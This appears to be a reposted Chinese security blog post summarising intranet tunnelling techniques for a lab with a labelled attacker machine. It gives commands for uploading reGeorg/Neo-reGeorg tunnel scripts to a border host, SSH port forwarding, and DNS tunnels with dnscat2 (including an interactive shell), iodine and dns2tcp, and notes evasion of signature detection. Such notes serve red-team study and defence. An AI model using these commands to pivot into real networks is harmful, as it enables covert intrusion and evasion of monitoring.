安全笔记总结-内网穿透隧道大全(全协议)
2023-5-11 10:31:44 Author: 星冥安全(查看原文) 阅读量:24 收藏

边界主机: 192.168.10.100

             192.168.20.100

内网主机: 192.168.20.110(不能出网)

攻击机器: 192.168.10.90

一.应用层隧道

1.1 HTTP隧道

1.1.1 reGeorg

上传tunnel.php到边界主机本机运行:python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php本机 socks5 127.0.0.1 8888

1.1.2 Neo-reGeorg

Neo-reGeorg 是一个重构了 reGeorg 的项目,目的是:

  • 提高 tunnel 连接安全性

  • 提高可用性,避免特征检测

  • 提高传输内容保密性

  • 应对更多的网络环境场景

python3 neoreg.py generate -k 123.com 生成密钥为123.com的脚本文件 (默认脚本文件密钥为password)上传tunnel.php到边界主机上攻击机器连接: python3 neoreg.py -k 123.com -u http://192.168.10.100/tunnel.php -p 4444 (-p 指定代理端口,不使用-p,默认为1080)攻击机器代理: socks5 127.0.0.1 4444

1.2 SSH隧道

本机端口转发 在本地主机上开启端口流量转发功能

HostA : 192.168.10.1  入侵者HostB : 192.168.10.2  堡垒机HostC : 192.168.10.3  内网服务器本地转发: ssh -L 8866:192.168.10.3:23 -fN 192.168.10.2 (在hostA上执行) 将192.168.10.3的23端口通过192.168.10.2转发到192.168.10.1的8866端口远程转发: ssh -R 8866:192.168.10.3:23 -fN 192.168.10.1 (在HostB上执行) 将192.168.10.3的23端口通过本机转发到192.168.10.1的8866端口动态转发: ssh -D 1080 -fN 192.168.10.2 (在HostA上执行) 将hostA上到1080端口的数据都转发到192.168.10.2

1.3 dns隧道

1.dnscat2

https://blog.csdn.net/weixin_44110913/article/details/114438131

DNS隧道:https://github.com/iagox86/dnscat2

cd server/

gem install bundler

bundle install

基于ip地址的(直连模式)服务端执行:ruby dnscat2.rb客户端执行:./dnscat --dns server=192.168.1.131,port=53 --secret=shadowwindows:查看所有会话window -i 1:切换到1会话shell:创建交互式shelllisten 127.0.0.1:888 127.0.0.1:22  第一个127.0.0.1为服务端ip,第二个127.0.0.1为客户端ip,将客户端的22端口转到服务端的888端口ssh -p 888 127.0.0.1

基于域名方式(中继模式)服务端:ruby dnscat2.rb ns1.skytear.top -e open --no-cache -c 123.com -e:指定安全级别,open表示服务端运行客户端不进行加密-c:指定密钥--no-cache:禁止缓存,一定添加该选项,因为powershell-dnscat2客户端域dnscat2服务端的Caching模式不兼容客户端:./dnscat --secret=123.com ns1.skytear.top

2.iodine

https://www.freebuf.com/articles/web/286295.html

iodined -f -c -P d1m0n 192.168.0.1 dns2tcp.xxx.com -DD
#-f:在前台运行#-c:禁止检查所有传入请求的客户端IP地址。#-P:客户端和服务端之间用于验证身份的密码。#-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。#这里的192.168.0.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突#注意!填写的地址为NS记录
iodine -f -P d1m0n dns2tcp.xxx.com -M 200 #-riodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道#-M:指定上行主机的大小。#-m:调节最大下行分片的大小。#-f:在前台运行#-T:指定DNS请求类型TYPE,可选项有NULLPRIVATETXTSRVCNAMEMXA#-O:指定数据编码规范。#-P:客户端和服务端之间用于验证身份的密码。#-L:指定是否开启懒惰模式,默认开启。#-I:指定两个请求之间的时间间隔。

3.dns2tcp

服务端gost -L=socks5://:60688   gost开启正向socks5代理  proxy socks -t tcp -p "0.0.0.0:60688" --udp-port 0 --udp  proxy开启正向socks5代理(https://github.com/snail007/goproxy/blob/master/README_ZH.md)dns2tcpd -f /etc/dns2tcpd.conf -F -d 2/etc/dns2tcpd.conf配置文件    listen = 0.0.0.0    port = 53    #If you change this value, also change the USER variable in /etc/default/dns2tcpd    user = nobody    chroot = /tmp    domain = ns.woshishui120.ga #NS解析对应的域名    resources = ssh:121.5.145.31:22 , socks:121.5.145.31:60688 #其IP地址是云服务器公网IP,端口随意设置为了7777    -f /etc/dns2tcpd.conf”指定了配置文件,-F要求程序在前台运行,-d 2  指明了输出调试信息,级别为2
客户端dns2tcpc -r socks -z ns.woshishui120.ga -l 8888 -d 2-r socks指明了要连接的资源,-z dns2tcp.werner.wiki”指明了建立DNS隧道使用的域名,-l 8888”指明了隧道的这头监听的端口,-d 2”的作用和服务器端相同
socks5 127.0.0.1 8888 就可以访问互联网

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxMDMwNDE2OQ==&mid=2247489652&idx=1&sn=4da4bdf1c5540981269852f592932cd7&chksm=c12c2eb2f65ba7a4e393681b073b5bd1f831e01ba10196ddad2ef0266118ce8a2361b94ac729#rd
如有侵权请联系:admin#unsafe.sh